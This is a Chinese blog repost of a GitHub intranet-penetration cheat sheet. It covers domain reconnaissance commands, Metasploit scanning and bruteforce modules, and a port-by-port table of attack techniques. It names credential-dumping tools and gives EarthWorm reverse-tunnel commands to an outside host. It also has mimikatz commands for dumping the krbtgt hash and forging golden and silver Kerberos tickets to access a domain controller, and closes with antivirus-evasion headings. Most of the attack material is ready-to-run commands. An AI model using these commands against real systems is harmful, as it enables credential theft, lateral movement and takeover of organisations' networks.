內網資訊收集總結
阿新 • • 發佈:2020-12-20
Hack_For_Intranet
0x01. 資訊收集
1.常見資訊收集命令
ipconfig:
ipconfig /all ------> 查詢本機 IP 段,所在域等
net:
net user ------> 本機使用者列表 net localgroup administrators ------> 本機管理員[通常含有域使用者] net user /domain ------> 查詢域使用者 net group /domain ------> 查詢域裡面的工作組 net group "domain admins" /domain ------> 查詢域管理員使用者組 net localgroup administrators /domain ------> 登入本機的域管理員 net localgroup administrators workgroup\user001 /add ----->域使用者新增到本機 net group "Domain controllers" -------> 檢視域控制器(如果有多臺) net view ------> 查詢同一域內機器列表 net view /domain ------> 查詢域列表 net view /domain:domainname
dsquery
dsquery computer domainroot -limit 65535 && net group "domain computers" /domain ------> 列出該域內所有機器名 dsquery user domainroot -limit 65535 && net user /domain------>列出該域內所有使用者名稱 dsquery subnet ------>列出該域內網段劃分 dsquery group && net group /domain ------>列出該域內分組 dsquery ou ------>列出該域內組織單位 dsquery server && net time /domain------>列出該域內域控制器
2.第三方資訊收集
NETBIOS 資訊收集
SMB 資訊收集
空會話資訊收集
漏洞資訊收集等
3.內網主動掃描相關
1.nmap 等工具掃描 2.msf自帶模組掃描 MSF內網滲透 掃描模組 埠掃描 auxiliary/scanner/portscan scanner/portscan/ack ACK防火牆掃描 scanner/portscan/ftpbounce FTP跳埠掃描 scanner/portscan/syn SYN埠掃描 scanner/portscan/tcp TCP埠掃描 scanner/portscan/xmas TCP"XMas"埠掃描 SMB掃描 smb列舉auxiliary/scanner/smb/smb_enumusers 返回DCERPC資訊auxiliary/scanner/smb/pipe_dcerpc_auditor 掃描SMB2協議auxiliary/scanner/smb/smb2 掃描smb共享檔案auxiliary/scanner/smb/smb_enumshares 列舉系統上的使用者auxiliary/scanner/smb/smb_enumusers SMB登入auxiliary/scanner/smb/smb_login SMB登入use windows/smb/psexec(通過md5值登入) 掃描組的使用者auxiliary/scanner/smb/smb_lookupsid 掃描系統版本auxiliary/scanner/smb/smb_version mssql掃描(埠tcp1433udp1434) admin/mssql/mssql_enum MSSQL列舉 admin/mssql/mssql_exec MSSQL執行命令 admin/mssql/mssql_sql MSSQL查詢 scanner/mssql/mssql_login MSSQL登陸工具 scanner/mssql/mssql_ping 測試MSSQL的存在和資訊 另外還有一個mssql_payload的模組 利用使用的 smtp掃描 smtp列舉auxiliary/scanner/smtp/smtp_enum 掃描smtp版本auxiliary/scanner/smtp/smtp_version snmp掃描 通過snmp掃描裝置auxiliary/scanner/snmp/community ssh掃描 ssh登入auxiliary/scanner/ssh/ssh_login ssh公共金鑰認證登入auxiliary/scanner/ssh/ssh_login_pubkey 掃描ssh版本測試auxiliary/scanner/ssh/ssh_version telnet掃描 telnet登入auxiliary/scanner/telnet/telnet_login 掃描telnet版本auxiliary/scanner/telnet/telnet_version tftp掃描 掃描tftp的檔案auxiliary/scanner/tftp/tftpbrute ftp版本掃描scanner/ftp/anonymous ARP掃描 auxiliary/scanner/discovery/arp_sweep 掃描UDP服務的主機auxiliary/scanner/discovery/udp_probe 檢測常用的UDP服務auxiliary/scanner/discovery/udp_sweep sniffer密碼auxiliary/sniffer/psnuffle snmp掃描scanner/snmp/community vnc掃描無認證掃描scanner/vnc/vnc_none_auth 3.Cobalt Strike掃描 本身支援的arp icmp等協議掃描 各種豐富的第三方外掛(注意安全)根據需求各取所需,比如Ladon,taowu等等。。。。。。 3.指令碼掃描 ps,py,ruby,php,Java,asp等等各種支援當前環境的掃描指令碼
4.常見埠與服務
| 埠號 | 埠說明 | 攻擊技巧 |
|--------|--------|--------|
|21/22/69 |ftp/tftp:檔案傳輸協議 |爆破\嗅探\溢位\後門|
|22 |ssh:遠端連線 |爆破OpenSSH;28個退格|
|23 |telnet:遠端連線 |爆破\嗅探|
|25 |smtp:郵件服務 |郵件偽造|
|53 |DNS:域名系統 |DNS區域傳輸\DNS劫持\DNS快取投毒\DNS欺騙\利用DNS隧道技術刺透防火牆|
|67/68 |dhcp |劫持\欺騙|
|110 |pop3 |爆破|
|139 |samba |爆破\未授權訪問\遠端程式碼執行|
|143 |imap |爆破|
|161 |snmp |爆破|
|389 |ldap |注入攻擊\未授權訪問|
|445 |SMB |遠端程式碼執行|
|512/513/514 |linux r|直接使用rlogin|
|873 |rsync |未授權訪問|
|1080 |socket |爆破:進行內網滲透|
|1352 |lotus |爆破:弱口令\資訊洩漏:原始碼|
|1433 |mssql |爆破:使用系統使用者登入\注入攻擊|
|1521 |oracle |爆破:TNS\注入攻擊|
|2049 |nfs |配置不當|
|2181 |zookeeper |未授權訪問|
|3306 |mysql |爆破\拒絕服務\注入|
|3389 |rdp |爆破\Shift後門|
|4848 |glassfish |爆破:控制檯弱口令\認證繞過|
|5000 |sybase/DB2 |爆破\注入|
|5432 |postgresql |緩衝區溢位\注入攻擊\爆破:弱口令|
|5632 |pcanywhere |拒絕服務\程式碼執行|
|5900 |vnc |爆破:弱口令\認證繞過|
|6379 |redis |未授權訪問\爆破:弱口令|
|7001 |weblogic |Java反序列化\控制檯弱口令\控制檯部署webshell|
|80/443/8080 |web |常見web攻擊\控制檯爆破\對應伺服器版本漏洞|
|8069 |zabbix |遠端命令執行|
|9080 |websphere |遠端命令執行
|9090 |websphere控制檯 |爆破:控制檯弱口令\Java反序列|
|9200/9300 |elasticsearch |遠端程式碼執行|
|11211 |memcacache |未授權訪問|
|27017 |mongodb |爆破\未授權訪問|
5.內網拓撲架構分析
DMZ
管理網
生產網
測試網
6.主機資訊收集
1、使用者列表
windows使用者列表 分析郵件使用者,內網[域]郵件使用者,通常就是內網[域]使用者
2、程序列表
析防毒軟體/安全監控工具等 郵件客戶端 VPN ftp等
3、服務列表
與安全防範工具有關服務[判斷是否可以手動開關等] 存在問題的服務[許可權/漏洞]
4、埠列表
開放埠對應的常見服務/應用程式[匿名/許可權/漏洞等] 利用埠進行資訊收集
5、補丁列表
分析 Windows 補丁 第三方軟體[Java/Oracle/Flash 等]漏洞
6、本機共享
本機共享列表/訪問許可權 本機訪問的域共享/訪問許可權
7、本使用者習慣分析
歷史記錄 收藏夾 文件等
8、獲取當前使用者密碼工具
Windows
mimikatz
wce
Invoke-WCMDump
mimiDbg
LaZagne
nirsoft_package
QuarksPwDump fgdump
星號檢視器等
Linux
LaZagne
mimipenguin
0x02. 常用工具與代理相關
1.代理分類
代理伺服器(ProxyServer)是網路資訊的中轉站,它接收客戶端的訪問請求,並以自己的身份轉發此請求。對於接收資訊的一方而佔,就像代理伺服器向它提出請求一樣,從而保護了客戶端,增加了反向追蹤的難度。
根據代理服務的功能劃分,代理伺服器可以分為:http代理伺服器、sock5代理伺服器、VPN代理伺服器等。
http代理:
http代理服器是一種最常見的代理伺服器,它的優點是響應速度快、延遲相對較低及數量眾多,如:Reduh、Tunna、reGeorg、Weevely、ABPTTS,通常不費吹灰之力就町以找到一個不錯的http代理伺服器。不過,它的缺點也比較明顯,僅能響應http通訊協議,並濾除80、8080等Web常用埠外的其他埠訪問請求
舉例:reGeorg,下載地址:https://github.com/sensepost/reGeorg,將reGeorg,上傳到服務端。直接訪問上傳的reGeorg檔案,提示“Georg says, 'All seems fine'”,則為正常,然後用在客戶端使用命令列,執行py程式:python reGeorgSocksProxy.py -p 8080 -u http: //www.XXX.com/tunnel.jsp,接下來只要使用Socks5的工具,將代理指向127.0.0.1:8080,就可以了
Socks代理伺服器:
Sock5代理伺服器最常用。它對訪問協議、訪問埠方面均沒有限制,可以轉發各種協議的通訊請求。常見工具:Frp,Earthworm, Ssocks,msf做socks代理,CobaltStrike做socks4a代理
EW(EarthWorm)使用:
正向 SOCKS v5 伺服器:
./ew -s ssocksd -l 1080
反彈 SOCKS v5 伺服器:
a) 先在一臺具有公網 ip 的主機A上執行以下命令:
$ ./ew -s rcsocks -l 1080 -e 8888
b) 在目標主機B上啟動 SOCKS v5 服務 並反彈到公網主機的 8888埠
$ ./ew -s rssocks -d 1.1.1.1 -e 8888
多級級聯
$ ./ew -s lcx_listen -l 1080 -e 8888
$ ./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999
$ ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999
lcx_tran 的用法
$ ./ew -s ssocksd -l 9999
$ ./ew -s lcx_tran -l 1080 -f 127.0.0.1 -g 9999
lcx_listen、lcx_slave 的用法
$ ./ew -s lcx_listen -l 1080 -e 8888
$ ./ew -s ssocksd -l 9999
$ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
“三級級聯”的本地SOCKS測試用例以供參考
$ ./ew -s rcsocks -l 1080 -e 8888
$ ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
$ ./ew -s lcx_listen -l 9999 -e 7777
$ ./ew -s rssocks -d 127.0.0.1 -e 7777
VPN代理伺服器
常見vpn 協議:PPTP,L2TP,IPSec,SSLVPN,OpenVPN,搭建工具推薦:https://github.com/hwdsl2/setup-ipsec-vpn,https://github.com/SoftEtherVPN/SoftEtherVPN
2.METASPLOIT簡單使用
msf簡單使用:
1.https://www.freebuf.com/news/210292.html
2.https://www.jianshu.com/p/1adbabecdcbd
3.Cobalt Strike簡單使用
cs簡單使用:
1.https://www.freebuf.com/company-information/167460.html
2.https://www.jianshu.com/p/8d823adbc6b5
0x03. 非域滲透
埠掃描
1.埠的指紋資訊(版本資訊)
2.埠所對應執行的服務
3.常見的預設埠號
4.嘗試弱口令
埠爆破
hydra
埠弱口令
NTScan
Hscan
自寫指令碼
埠溢位
smb
ms08067
ms17010
ms11058
...
apache ftp ...
常見的預設埠
1、web類(web漏洞/敏感目錄)
第三方通用元件漏洞: struts thinkphp jboss ganglia zabbix ...
80 web
80-89 web
8000-9090 web
2、資料庫類(掃描弱口令)
1433 MSSQL
1521 Oracle
3306 MySQL
5432 PostgreSQL
50000 DB2
3、特殊服務類(未授權/命令執行類/漏洞)
443 SSL心臟滴血
445 ms08067/ms11058/ms17010等
873 Rsync未授權
5984 CouchDB http://xxx:5984/_utils/
6379 redis未授權
7001,7002 WebLogic預設弱口令,反序列
9200,9300 elasticsearch 參考WooYun: 多玩某伺服器ElasticSearch命令執行漏洞
11211 memcache未授權訪問
27017,27018 Mongodb未授權訪問
50000 SAP命令執行
50070,50030 hadoop預設埠未授權訪問
4、常用埠類(掃描弱口令/埠爆破)
21 ftp
22 SSH
23 Telnet
445 SMB弱口令掃描
2601,2604 zebra路由,預設密碼zebra
3389 遠端桌面
0x04. 域滲透
1.域資訊收集
常用收集域資訊命令
ipconfig /all ------ 查詢本機IP段,所在域等
net user ------ 本機使用者列表
net localhroup administrators ------ 本機管理員[通常含有域使用者]
net user /domain ------ 查詢域使用者
net group /domain ------ 查詢域裡面的工作組
net group “domain admins” /domain ------ 查詢域管理員使用者組
net localgroup administrators /domain ------ 登入本機的域管理員
net localgroup administrators workgroup\user001 /add ------域使用者新增到本機
net group “domain controllers” /domain ------ 檢視域控制器(如果有多臺)
net time /domain ------ 判斷主域,主域伺服器都做時間伺服器
net config workstation ------ 當前登入域
net session ------ 檢視當前會話
net use \ip\ipc$ pawword /user:username ------ 建立IPC會話[空連線-***]
net share ------ 檢視SMB指向的路徑[即共享]
net view ------ 查詢同一域內機器列表
net view \ip ------ 查詢某IP共享
net view /domain ------ 查詢域列表
net view /domain:domainname ------ 檢視workgroup域中計算機列表
net start ------ 檢視當前執行的服務
net accounts ------ 檢視本地密碼策略
net accounts /domain ------ 檢視域密碼策略
nbtstat –A ip ------netbios 查詢
netstat –an/ano/anb ------ 網路連線查詢
route print ------ 路由表
dsquery computer ----- finds computers in the directory.
dsquery contact ----- finds contacts in thedirectory.
dsquery subnet ----- finds subnets in thedirectory.
dsquery group ----- finds groups in thedirectory.
dsquery ou ----- finds organizationalunits in the directory.
dsquery site ----- finds sites in thedirectory.
dsquery server ----- finds domain controllers inthe directory.
dsquery user ----- finds users in thedirectory.
dsquery quota ----- finds quota specificationsin the directory.
dsquery partition ----- finds partitions in thedirectory.
dsquery * ----- finds any object inthe directory by using a generic LDAP query.
dsquery server –domain Yahoo.com | dsget server–dnsname –site —搜尋域內域控制器的DNS主機名和站點名
dsquery computer domainroot –name -xp –limit 10----- 搜尋域內以-xp結尾的機器10臺
dsquery user domainroot –name admin -limit ---- 搜尋域內以admin開頭的使用者10個
tasklist /V ----- 檢視程序[顯示對應使用者]
tasklist /S ip /U domain\username /P /V ----- 檢視遠端計算機程序列表
qprocess * ----- 類似tasklist
qprocess /SERVER:IP ----- 遠端檢視計算機程序列表
nslookup –qt-MX Yahoo.com ----- 檢視郵件伺服器
whoami /all ----- 查詢當前使用者許可權等
set ----- 檢視系統環境變數
systeminfo ----- 檢視系統資訊
qwinsta ----- 檢視登入情況
qwinsta /SERVER:IP ----- 檢視遠端登入情況
fsutil fsinfo drives ----- 檢視所有碟符
gpupdate /force ----- 更新域策略
wmic bios ----- 檢視bios資訊
wmic qfe ----- 檢視補丁資訊
wmic qfe get hotfixid ----- 檢視補丁-Patch號
wmic startup ----- 檢視啟動項
wmic service ----- 檢視服務
wmic os ----- 檢視OS資訊
wmic process get caption,executablepath,commandline
wmic process call create “process_name” (executes a program)
wmic process where name=”process_name” call terminate (terminates program)
wmic logicaldisk where drivetype=3 get name, freespace, systemname, filesystem, size,
volumeserialnumber (hard drive information)
wmic useraccount (usernames, sid, and various security related goodies)
wmic useraccount get /ALL
wmic share get /ALL (you can use ? for gets help ! )
wmic startup list full (this can be a huge list!!!)
wmic /node:“hostname” bios get serialnumber (this can be great for finding warranty info about target)
2.常規滲透思路
通過域成員主機,定位出域控制器IP及域管理員賬號,利用域成員主機作為跳板,擴大滲透範圍,利用域管理員可以登陸域中任何成員主機的特性,定位出域管理員登陸過的主機IP,設法從域成員主機記憶體中dump出域管理員密碼,進而拿下域控制器、滲透整個內網
在域滲透過程如果發現域管理員的密碼已經修改,可嘗試利用krbtgt使用者的歷史hash來進行票據傳遞攻擊,krbtgt使用者的密碼一般不會有人去修改
域滲透過程中可能會使用到MS14-068這個漏洞,利用該漏洞可以將任何一個域使用者提權至域管理員許可權
GoldenTicket
Golden Ticket(下面稱為金票)是通過偽造的TGT(TicketGranting Ticket),因為只要有了高許可權的TGT,那麼就可以傳送給TGS換取任意服務的ST。可以說有了金票就有了域內的最高許可權
製作金票的條件:
1、域名稱
2、域的SID值
3、域的KRBTGT賬戶密碼HASH
4、偽造使用者名稱,可以是任意的
利用過程
金票的生成需要用到krbtgt的密碼HASH值,可以通過mimikatz中的lsadump::dcsync /test.test.org /user:krbtgt 命令獲取krbtgt的值
得到KRBTGT HASH之後使用mimikatz中的kerberos::golden功能生成金票golden.kiribi,即為偽造成功的TGT
mimikatz中:
kerberos::golden /admin:administrator /domain:test.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /krbtgt:{KRBTGT HASH} /ticket:golden.kiribi
/admin:偽造的使用者名稱
/domain:域名稱
/sid:SID值,注意是去掉最後一個-後面的值
/krbtgt:krbtgt的HASH值
/ticket:生成的票據名稱
通過mimikatz中的kerberos::ptt功能(Pass The Ticket)將golden.kiribi匯入記憶體中。
kerberos::purge
kerberos::ptt golden.kiribi
kerberos::list
此時就可以通過dir成功訪問域控的共享資料夾。
dir \\OWA.test.org\c$
SilverTickets
Silver Tickets(下面稱銀票)就是偽造的ST(Service Ticket),因為在TGT已經在PAC裡限定了給Client授權的服務(通過SID的值),所以銀票只能訪問指定服務。
黃金票據和白銀票據的一些區別: Golden Ticket:偽造TGT,可以獲取任何Kerberos服務許可權 銀票:偽造TGS,只能訪問指定的服務 加密方式不同: Golden Ticket由krbtgt的hash加密 Silver Ticket由服務賬號(通常為計算機賬戶)Hash加密 認證流程不同: 金票在使用的過程需要同域控通訊 銀票在使用的過程不需要同域控通訊
製作銀票的條件:
1.域名稱
2.域的SID值
3.域的服務賬戶的密碼HASH(不是krbtgt,是域控)
4.偽造的使用者名稱,可以是任意使用者名稱,這裡是silver_test
需要知道服務賬戶的密碼HASH,這裡同樣拿域控來舉例,通過mimikatz檢視當前域賬號administrator的HASH值
mimikatz生成銀票
kerberos::golden /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /target:OWA.test.org /service:cifs /rc4:125445ed1d553393cce9585e64e3fa07 /user:silver /ptt
引數說明:
/domain:當前域名稱
/sid:SID值,和金票一樣取前面一部分
/target:目標主機,這裡是OWA.TEST.ORG
/service:服務名稱,這裡需要訪問共享檔案,所以是cifs
/rc4:目標主機的HASH值
/user:偽造的使用者名稱
/ptt:表示的是Pass TheTicket攻擊,是把生成的票據匯入記憶體,也可以使用/ticket匯出之後再使用kerberos::ptt來匯入
這時通過klist檢視當前會話的kerberos票據可以看到生成的票據
dir \\OWA.test.org\c$訪問DC的共享資料夾
EnhancedGolden Tickets
在Golden Ticket部分說明可利用krbtgt的密碼HASH值生成金票,從而能夠獲取域控許可權同時能夠訪問域內其他主機的任何服務。但是普通的金票不能夠跨域使用,也就是說金票的許可權被限制在當前域內
域樹與域林
TEST.ORG為根域,TEST1.TEST.ORG和 TEST2.TEST.ORG 均為 TEST.ORG的子域,這三個域組成了一個域樹。子域的概念可以理解為一個集團在不同業務上分公司,他們有業務重合的點並且都屬於 TEST1.ORG這個根域,但又獨立運作。同樣 TEST1.COM 也是一個單獨的域樹,兩個域樹 TEST.ORG 和 TEST1.ORG 組合起來被稱為一個域林。
普通金票的侷限性
TEST.ORG為其他兩個域(TEST1.TEST.ORG和TEST2.TEST.ORG)的根域,根域和其他域的最大的區別就是根域對整個域林都有控制權。而域正是根據Enterprise Admins組來實現這樣的許可權劃分。
Enterprise Admins組
EnterpriseAdmins組是域中使用者的一個組,只存在於一個林中的根域中,這個組的成員,這裡也就是TEST.ORG中的Administrator使用者(不是本地的Administrator,是域中的Administrator)對域有完全管理控制權。
Domain Admins組
子域中是不存在EnterpriseAdmins組的,在一個子域中許可權最高的組就是Domain Admins組。TEST.TEST.ORG這個子域中的Administrator使用者,這個Administrator有當前域的最高許可權
知道根域的SID那麼就可以通過子域的KRBTGT的HASH值,使用mimikatz建立具有 EnterpriseAdmins組許可權(域林中的最高許可權)的票據,然後通過mimikatz重新生成包含根域SID的新的金票
此時的這個票據票是擁有整個域林的控制權的
0x05. 後門
0x06. 免殺相關
1.常見反病毒軟體查殺方式:
1.基於特徵
2.基於行為
二.shellcode 免殺總結
shellcode"分離"免殺
shellcode"混淆"免殺
白名單載入shellcode
來自:https://github.com/JohnnyZhouX/Hack_For_Intranet/blob/main/README.md